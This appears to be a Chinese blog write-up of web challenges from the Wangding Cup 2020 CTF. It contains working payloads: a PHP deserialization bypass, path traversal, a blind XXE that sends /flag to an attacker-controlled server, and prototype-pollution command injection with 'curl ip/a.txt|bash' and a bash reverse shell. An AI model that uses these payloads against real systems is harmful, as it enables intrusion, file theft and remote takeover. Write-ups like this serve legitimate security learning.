• 网鼎杯2020青龙组writeup-web


    本文首发于Leon的Blog,如需转载请注明原创地址并联系作者

    AreUSerialz

    开题即送源码:

     1 <?php
     2 
     3 include("flag.php");
     4 
     5 highlight_file(__FILE__);
     6 
     7 class FileHandler {
     8 
     9     protected $op;
    10     protected $filename;
    11     protected $content;
    12 
    13     function __construct() {
    14         $op = "1";
    15         $filename = "/tmp/tmpfile";
    16         $content = "Hello World!";
    17         $this->process();   
    18     }
    19 
    20     public function process() {
    21         if($this->op == "1") {
    22             $this->write();       
    23         } else if($this->op == "2") {
    24             $res = $this->read();
    25             $this->output($res);
    26         } else {
    27             $this->output("Bad Hacker!");
    28         }
    29     }
    30 
    31     private function write() {
    32         if(isset($this->filename) && isset($this->content)) {
    33             if(strlen((string)$this->content) > 100) {
    34                 $this->output("Too long!");
    35                 die();
    36             }
    37             $res = file_put_contents($this->filename, $this->content);
    38             if($res) $this->output("Successful!");
    39             else $this->output("Failed!");
    40         } else {
    41             $this->output("Failed!");
    42         }
    43     }
    44 
    45     private function read() {
    46         $res = "";
    47         if(isset($this->filename)) {
    48             $res = file_get_contents($this->filename);
    49         }
    50         return $res;
    51     }
    52 
    53     private function output($s) {
    54         echo "[Result]: <br>";
    55         echo $s;
    56     }
    57 
    58     function __destruct() {
    59         if($this->op === "2")
    60             $this->op = "1";
    61         $this->content = "";
    62         $this->process();
    63     }
    64 
    65 }
    66 
    67 function is_valid($s) {
    68     for($i = 0; $i < strlen($s); $i++)
    69         if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
    70             return false;
    71     return true;
    72 }
    73 
    74 if(isset($_GET{'str'})) {
    75 
    76     $str = (string)$_GET['str'];
    77     if(is_valid($str)) {
    78         $obj = unserialize($str);
    79     }
    80 
    81 }

    审计代码:

    GET方式传参给str,然后调用is_valid()函数判断传入的参数是否在ASCII码32到125之间,也就是数字、大小写字符以及常规符号,然后进行反序列化

    但是这里会ban掉不可见字符0,这个在序列化protected属性的对象时会出现,我们需要绕过它,php7.1+版本对属性类型不敏感,所以本地序列化就直接用public就可以绕过了

    然后代码很简单,我们可以序列化构造$op=2和$filename=flag.php,调用read()函数读取flag.php,但是在进行read()之前就会调用__destruct()魔术方法,如果$this->op === “2”就会设置$this->op为”1″,而”1″在process()函数中会调用write()函数,不能读取文件。

    审计代码发现:process()函数中使用了不严格相等if($this->op == “2”)

    所以基于PHP的特性我们可以构造$op=”2e0”进行绕过

    然后就是读取文件了,但是直接相对路径读flag.php没用,不知道为什么

    用绝对路径/var/www/html读也没用

    我发现404页面有开发文档:https://hub.docker.com/r/nimmis/alpine-apache/

    然后发现了web路径:

    所以猜测flag.php路径是:/web/html/flag.php

    直接读取不行,用伪协议读可以

    payload:

     1 <?php
     2 class FileHandler {
     3 
     4     public $op = "2e0";
     5     public $filename = "php://filter/read=convert.base64-encode/resource=/web/html/flag.php";
     6 }
     7 
     8 $a = new FileHandler();
     9 echo urlencode(serialize($a));
    10 
    11 O%3A11%3A%22FileHandler%22%3A2%3A%7Bs%3A2%3A%22op%22%3Bs%3A3%3A%222e0%22%3Bs%3A8%3A%22filename%22%3Bs%3A67%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3D%2Fweb%2Fhtml%2Fflag.php%22%3B%7D

    返回:

    Jmx0Oz9waHANCg0KJGZsYWcgPSAiZmxhZ3s4NmFkMmU5My0yNTk2LTRkNDItODcyYS1hMjJlNWViNTI5Zjh9IjsNCg==

    Base64解码得到flag:flag{86ad2e93-2596-4d42-872a-a22e5eb529f8}


    filejava

    打开是一个文件上传页面,看了下页面是java写的,题目名称也说了

    上传个文件,然后可以下载,复制下载链接一看:

    http://e4d82ea6f1f8426f99d557844d204d6a81fd39d4ca25413c.cloudgame2.ichunqiu.com:8080/file_in_java/DownloadServlet?filename=46ecab01-0932-480e-9509-9e93672e94c8_a.php

    可能存在任意文件下载,尝试:

    http://e4d82ea6f1f8426f99d557844d204d6a81fd39d4ca25413c.cloudgame2.ichunqiu.com:8080/file_in_java/DownloadServlet?filename=../../../../../../../../../etc/passwd

    发现可以下载到/etc/passwd

    又根据报错知道是Tomcat于是读取web.xml:

    http://e4d82ea6f1f8426f99d557844d204d6a81fd39d4ca25413c.cloudgame2.ichunqiu.com:8080/file_in_java/DownloadServlet?filename=../../../../../../../../../usr/local/tomcat/webapps/file_in_java/WEB-INF/web.xml

    得到:

     1 <?xml version="1.0" encoding="UTF-8"?>
     2 <web-app xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://java.sun.com/xml/ns/javaee" xsi:schemaLocation="http://java.sun.com/xml/ns/javaee http://java.sun.com/xml/ns/javaee/web-app_2_5.xsd" id="WebApp_ID" version="2.5">
     3   <display-name>file_in_java</display-name>
     4   <welcome-file-list>
     5     <welcome-file>upload.jsp</welcome-file>
     6   </welcome-file-list>
     7   <servlet>
     8     <description></description>
     9     <display-name>UploadServlet</display-name>
    10     <servlet-name>UploadServlet</servlet-name>
    11     <servlet-class>cn.abc.servlet.UploadServlet</servlet-class>
    12   </servlet>
    13   <servlet-mapping>
    14     <servlet-name>UploadServlet</servlet-name>
    15     <url-pattern>/UploadServlet</url-pattern>
    16   </servlet-mapping>
    17   <servlet>
    18     <description></description>
    19     <display-name>ListFileServlet</display-name>
    20     <servlet-name>ListFileServlet</servlet-name>
    21     <servlet-class>cn.abc.servlet.ListFileServlet</servlet-class>
    22   </servlet>
    23   <servlet-mapping>
    24     <servlet-name>ListFileServlet</servlet-name>
    25     <url-pattern>/ListFileServlet</url-pattern>
    26   </servlet-mapping>
    27   <servlet>
    28     <description></description>
    29     <display-name>DownloadServlet</display-name>
    30     <servlet-name>DownloadServlet</servlet-name>
    31     <servlet-class>cn.abc.servlet.DownloadServlet</servlet-class>
    32   </servlet>
    33   <servlet-mapping>
    34     <servlet-name>DownloadServlet</servlet-name>
    35     <url-pattern>/DownloadServlet</url-pattern>
    36   </servlet-mapping>
    37 </web-app>

    之后根据xml中的<servlet-class>把对应class都下载下来,然后反编译

    java web目录参考:https://www.cnblogs.com/jpfss/p/9584075.html

    1 /DownloadServlet
    2 ?filename=../../../classes/cn/abc/servlet/UploadServlet.class
    3 ?filename=../../../classes/cn/abc/servlet/ListFileServlet.class
    4 ?filename=../../../classes/cn/abc/servlet/UploadServlet.class
    5 ?filename=../../../../META-INF/MANIFEST.MF

    主要利用点是在UploadServlet.java中有如下代码:

     1 if (filename.startsWith("excel-") && "xlsx".equals(fileExtName)) {
     2   
     3   try {
     4     Workbook wb1 = WorkbookFactory.create(in);
     5     Sheet sheet = wb1.getSheetAt(0);
     6     System.out.println(sheet.getFirstRowNum());
     7   } catch (InvalidFormatException e) {
     8     System.err.println("poi-ooxml-3.10 has something wrong");
     9     e.printStackTrace();
    10   } 
    11 }

    这里考到了CVE-2014-3529类似的漏洞

    这部分代码逻辑表示,如果我们的文件名是excel-开始加上.xlsx结尾,就会用poi解析xlsx。

    因为提示flag在根目录,正好可以用这个xxe打。不过没回显,所以要引用外部xml盲打xxe。

    首先是本地新建一个excel-1.xlsx文件,然后改后缀为zip,然后把[Content_Types].xml文件解压出来

    修改[Content_Types].xml的内容为:

    1 <?xml version="1.0" encoding="UTF-8" standalone="yes"?>
    2 <!DOCTYPE try[
    3 <!ENTITY % int SYSTEM "http://***.***.***.***/a.xml">
    4 %int;
    5 %all;
    6 %send;
    7 ]>
    8 <root>&send;</root>
    9 <Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types"><Default Extension="rels" ContentType="application/vnd.openxmlformats-package.relationships+xml"/><Default Extension="xml" ContentType="application/xml"/><Override PartName="/xl/workbook.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.sheet.main+xml"/><Override PartName="/xl/worksheets/sheet1.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.worksheet+xml"/><Override PartName="/xl/theme/theme1.xml" ContentType="application/vnd.openxmlformats-officedocument.theme+xml"/><Override PartName="/xl/styles.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.styles+xml"/><Override PartName="/docProps/core.xml" ContentType="application/vnd.openxmlformats-package.core-properties+xml"/><Override PartName="/docProps/app.xml" ContentType="application/vnd.openxmlformats-officedocument.extended-properties+xml"/></Types>

    然后把这个文件再压缩回去,替换掉原来那个,然后把后缀zip改为xlsx

    在自己的vps上新建a.xml文件,内容为:

    1 <!ENTITY % payl SYSTEM "file:///flag">
    2 <!ENTITY % all "<!ENTITY &#37; send SYSTEM 'http://59.***.***.***:8500/?%payl;'>">

    然后监听8500端口,上传excel-1.xlsx即可收到flag


    notes

    考点:CVE-2019-10795 undefsafe原型链污染

    参考:https://snyk.io/vuln/SNYK-JS-UNDEFSAFE-548940

    app.js源码:

      1 var express = require('express');
      2 var path = require('path');
      3 const undefsafe = require('undefsafe');
      4 const { exec } = require('child_process');
      5 
      6 
      7 var app = express();
      8 class Notes {
      9     constructor() {
     10         this.owner = "whoknows";
     11         this.num = 0;
     12         this.note_list = {};
     13     }
     14 
     15     write_note(author, raw_note) {
     16         this.note_list[(this.num++).toString()] = {"author": author,"raw_note":raw_note};
     17     }
     18 
     19     get_note(id) {
     20         var r = {}
     21         undefsafe(r, id, undefsafe(this.note_list, id));
     22         return r;
     23     }
     24 
     25     edit_note(id, author, raw) {
     26         undefsafe(this.note_list, id + '.author', author);
     27         undefsafe(this.note_list, id + '.raw_note', raw);
     28     }
     29 
     30     get_all_notes() {
     31         return this.note_list;
     32     }
     33 
     34     remove_note(id) {
     35         delete this.note_list[id];
     36     }
     37 }
     38 
     39 var notes = new Notes();
     40 notes.write_note("nobody", "this is nobody's first note");
     41 
     42 
     43 app.set('views', path.join(__dirname, 'views'));
     44 app.set('view engine', 'pug');
     45 
     46 app.use(express.json());
     47 app.use(express.urlencoded({ extended: false }));
     48 app.use(express.static(path.join(__dirname, 'public')));
     49 
     50 
     51 app.get('/', function(req, res, next) {
     52   res.render('index', { title: 'Notebook' });
     53 });
     54 
     55 app.route('/add_note')
     56     .get(function(req, res) {
     57         res.render('mess', {message: 'please use POST to add a note'});
     58     })
     59     .post(function(req, res) {
     60         let author = req.body.author;
     61         let raw = req.body.raw;
     62         if (author && raw) {
     63             notes.write_note(author, raw);
     64             res.render('mess', {message: "add note sucess"});
     65         } else {
     66             res.render('mess', {message: "did not add note"});
     67         }
     68     })
     69 
     70 app.route('/edit_note')
     71     .get(function(req, res) {
     72         res.render('mess', {message: "please use POST to edit a note"});
     73     })
     74     .post(function(req, res) {
     75         let id = req.body.id;
     76         let author = req.body.author;
     77         let enote = req.body.raw;
     78         if (id && author && enote) {
     79             notes.edit_note(id, author, enote);
     80             res.render('mess', {message: "edit note sucess"});
     81         } else {
     82             res.render('mess', {message: "edit note failed"});
     83         }
     84     })
     85 
     86 app.route('/delete_note')
     87     .get(function(req, res) {
     88         res.render('mess', {message: "please use POST to delete a note"});
     89     })
     90     .post(function(req, res) {
     91         let id = req.body.id;
     92         if (id) {
     93             notes.remove_note(id);
     94             res.render('mess', {message: "delete done"});
     95         } else {
     96             res.render('mess', {message: "delete failed"});
     97         }
     98     })
     99 
    100 app.route('/notes')
    101     .get(function(req, res) {
    102         let q = req.query.q;
    103         let a_note;
    104         if (typeof(q) === "undefined") {
    105             a_note = notes.get_all_notes();
    106         } else {
    107             a_note = notes.get_note(q);
    108         }
    109         res.render('note', {list: a_note});
    110     })
    111 
    112 app.route('/status')
    113     .get(function(req, res) {
    114         let commands = {
    115             "script-1": "uptime",
    116             "script-2": "free -m"
    117         };
    118         for (let index in commands) {
    119             exec(commands[index], {shell:'/bin/bash'}, (err, stdout, stderr) => {
    120                 if (err) {
    121                     return;
    122                 }
    123                 console.log(`stdout: ${stdout}`);
    124             });
    125         }
    126         res.send('OK');
    127         res.end();
    128     })
    129 
    130 
    131 app.use(function(req, res, next) {
    132   res.status(404).send('Sorry cant find that!');
    133 });
    134 
    135 
    136 app.use(function(err, req, res, next) {
    137   console.error(err.stack);
    138   res.status(500).send('Something broke!');
    139 });
    140 
    141 
    142 const port = 8080;
    143 app.listen(port, () => console.log(`Example app listening at http://localhost:${port}`))

    通过上面参考链接可知undefsafe包,版本<2.0.3有原型链污染漏洞

    谷歌一下undefsafe,它的基本功能是取出字典中的对象或者更新字典中的对象:

     1 var object = {
     2   a: {
     3     b: [1,2,3]
     4   }
     5 };
     6 
     7 // modified object
     8 var res = undefsafe(object, 'a.b.0', 10);
     9 
    10 console.log(object); // { a: { b: [10, 2, 3] } }
    11 //这里可以看见1被替换成了10

    参考:https://github.com/remy/undefsafe

    审计代码发现由于/status路由下有命令执行:

     1 app.route('/status')
     2     .get(function(req, res) {
     3         let commands = {
     4             "script-1": "uptime",
     5             "script-2": "free -m"
     6         };
     7         for (let index in commands) {
     8             exec(commands[index], {shell:'/bin/bash'}, (err, stdout, stderr) => {
     9                 if (err) {
    10                     return;
    11                 }
    12                 console.log(`stdout: ${stdout}`);
    13             });
    14         }
    15         res.send('OK');
    16         res.end();
    17     })

    所以可以通过污染commands这个字典,例如令commads.a=whoami,然后访问/status它会遍历执行commands字典中的命令

    /edit_note下可以传三个参数,调用edit_note(id, author, raw) 函数,然后使用了undefsafe进行字典的修改

    因为undefsafe操作的对象可控,所以我们可以进行原型链污染

    payload:

    1 id=__proto__&author=curl ip/a.txt|bash&raw=123
    2 //a.txt内容为:
    3 bash -i >& /dev/tcp/ip/port 0>&1

    反弹shell,flag在根目录下


    trace

    这个是insert注入,好像复现不了了orz

  • 相关阅读:
    ActionScript简单实现Socket Tcp应用协议分析器
    您还有心跳吗?超时机制分析
    Java线程池架构2-多线程调度器
    Java 连接池的工作原理
    Integrating JDBC with Hibernate
    Codeforce 1255 Round #601 (Div. 2) C. League of Leesins (大模拟)
    Codeforce 1255 Round #601 (Div. 2)B. Fridge Lockers(思维)
    Codeforce 1255 Round #601 (Div. 2) A. Changing Volume (贪心)
    图论--拓扑排序--判断是否为DAG图
    图论--拓扑排序--判断一个图能否被拓扑排序
  • 原文地址:https://www.cnblogs.com/clqnotes/p/12919832.html
Copyright © 2020-2023  润新知